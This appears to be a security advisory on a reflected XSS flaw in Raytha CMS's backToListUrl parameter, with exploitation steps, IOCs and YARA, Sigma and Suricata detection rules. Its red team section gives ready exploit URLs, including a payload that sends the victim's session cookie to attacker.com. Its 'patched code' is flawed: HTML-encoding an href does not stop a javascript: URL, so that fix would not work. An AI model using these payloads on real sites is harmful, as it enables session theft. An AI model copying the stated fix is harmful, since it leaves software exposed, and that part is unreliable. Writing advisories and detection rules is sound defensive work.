CVE-2025-69242

Executive Summary

CVE-2025-69242 is a reflected Cross-Site Scripting (XSS) vulnerability in Raytha CMS, a content management system. The flaw exists in the backToListUrl parameter, which is not properly sanitized before being reflected back to the user. An attacker can craft a malicious URL containing JavaScript code in this parameter. When an authenticated victim clicks on the crafted link, the arbitrary JavaScript executes in the context of the victim's browser session. This can lead to session hijacking, credential theft, or other client-side attacks. The vulnerability is fixed in version 1.4.6.

Supply Chain & Package Security

Raytha CMS is a .NET-based application. The vulnerability is not related to any specific package manager (NPM, PyPI, Go, Ruby) but is a direct code-level flaw in the application's handling of user input. Users should verify the integrity of their Raytha CMS installation and ensure they are running version 1.4.6 or later.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click the link)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the vulnerability requires user interaction, the impact is significant as it can lead to session hijacking and data theft within the Raytha CMS application.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS. The backToListUrl parameter is used to generate a "Back to List" link on certain pages within the Raytha CMS admin interface. The application takes the value of this parameter from the URL query string and directly embeds it into the HTML response without proper encoding or sanitization.

Attack Flow:

1. An attacker identifies a page in Raytha CMS that uses the backToListUrl parameter.
2. The attacker crafts a malicious URL: https://victim-raytha-cms.com/admin/somepage?backToListUrl=javascript:alert('XSS')
3. The attacker sends this link to an authenticated victim (e.g., via email or social engineering).
4. The victim, while logged into Raytha CMS, clicks the link.
5. The server reflects the malicious JavaScript code in the response.
6. The victim's browser executes the JavaScript, allowing the attacker to perform actions on behalf of the victim.

Root Cause: The application fails to sanitize or encode the backToListUrl parameter before rendering it in the HTML. This is a common oversight in web application development.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-1.4.6):

// In a Razor view or controller
<a href="@Request.QueryString["backToListUrl"]">Back to List</a>

This directly outputs the user-supplied value without any encoding.

Patched Code (1.4.6):

// In a Razor view or controller
<a href="@Html.Encode(Request.QueryString["backToListUrl"])">Back to List</a>

Or using a safer approach:

// Using a sanitization library
var safeUrl = Sanitizer.GetSafeHtmlFragment(Request.QueryString["backToListUrl"]);
<a href="@safeUrl">Back to List</a>

The patched version ensures that the parameter is HTML-encoded, preventing the execution of arbitrary JavaScript.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A running instance of Raytha CMS version < 1.4.6.
• An authenticated user session (or the ability to trick a user into clicking a link).

Exploit Steps:

1. Identify a page that uses the backToListUrl parameter. Common pages include admin list views.
2. Craft the malicious URL:

   https://victim-raytha-cms.com/admin/items?backToListUrl=javascript:alert(document.cookie)
   

3. Send the link to the victim. When clicked, the JavaScript executes.

Advanced Payload:

https://victim-raytha-cms.com/admin/items?backToListUrl=javascript:fetch('https://attacker.com/steal?cookie='%2Bdocument.cookie)

This payload exfiltrates the victim's session cookie to an attacker-controlled server.

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests containing backToListUrl= followed by suspicious characters like <, >, javascript:, or onerror=.
• Use a Web Application Firewall (WAF) to block requests with XSS patterns in the backToListUrl parameter.

Prevention:

• Immediately upgrade to Raytha CMS version 1.4.6 or later.
• Implement Content Security Policy (CSP) headers to mitigate the impact of XSS.
• Conduct code reviews to ensure all user inputs are properly sanitized.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing backToListUrl= with JavaScript payloads (e.g., javascript:, <script>, onerror=).
  • Outbound connections to unknown IPs or domains from the Raytha CMS server (potential data exfiltration).

• Host IOCs:

  • Unusual entries in web server access logs showing the backToListUrl parameter with encoded or malicious content.
  • Presence of unexpected JavaScript files or scripts in the browser's cache.

• File IOCs:

  • Modified or suspicious files in the Raytha CMS installation directory (though this is a reflected XSS, not a file inclusion).

Detection Engineering

YARA Rule

rule CVE_2025_69242_Raytha_XSS {
    meta:
        description = "Detects attempts to exploit CVE-2025-69242 reflected XSS in Raytha CMS"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-69242"
    strings:
        $xss_payload = /backToListUrl=.*?(?:<|>|javascript:|onerror=|onload=)/i
    condition:
        $xss_payload
}

Sigma Rule

title: CVE-2025-69242 Raytha CMS Reflected XSS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with malicious backToListUrl parameter
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: "backToListUrl="
    filter:
        cs-uri-query|contains: 
            - "<"
            - ">"
            - "javascript:"
            - "onerror="
            - "onload="
    condition: selection and filter
falsepositives:
    - Legitimate use of backToListUrl with safe URLs
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-69242 Raytha CMS Reflected XSS"; flow:to_server,established; content:"backToListUrl="; http_uri; pcre:"/backToListUrl=.*?(?:<|>|javascript:|onerror=|onload=)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Raytha CMS to version 1.4.6 or later. This is the only complete fix.
2. Apply a WAF rule to block requests containing XSS patterns in the backToListUrl parameter.
3. Review and sanitize all other user-controlled parameters in the application.

Long-Term Measures:

• Implement a Content Security Policy (CSP) to restrict script execution.
• Conduct regular security audits and penetration testing.
• Train developers on secure coding practices, especially input validation and output encoding.
• Use a static code analysis tool to detect similar vulnerabilities.

Workaround (if upgrade is not immediately possible):

• Manually patch the vulnerable code by adding HTML encoding to the backToListUrl parameter in the relevant views.

Valters IT
Securing Digital Frontiers